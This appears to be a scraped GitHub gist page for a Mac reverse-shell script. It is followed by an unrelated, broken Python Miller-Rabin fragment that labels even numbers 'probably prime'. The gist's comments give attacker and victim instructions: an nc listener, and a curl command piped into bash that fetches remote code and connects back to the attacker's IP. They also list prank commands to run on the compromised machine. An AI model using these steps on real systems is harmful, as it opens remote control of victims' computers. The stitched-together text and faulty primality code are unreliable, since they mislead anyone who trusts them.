Skip to content

Instantly share code, notes, and snippets.

@rub1cc
rub1cc / reverse-shell.sh
Created April 8, 2021 07:53 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
import random
def miller_rabin(n):
nMin1 = n - 1
a = random.randint(2,nMin1) # generate random integer
k = 1
if n % 2 == 0:
return print(n, "is probably prime")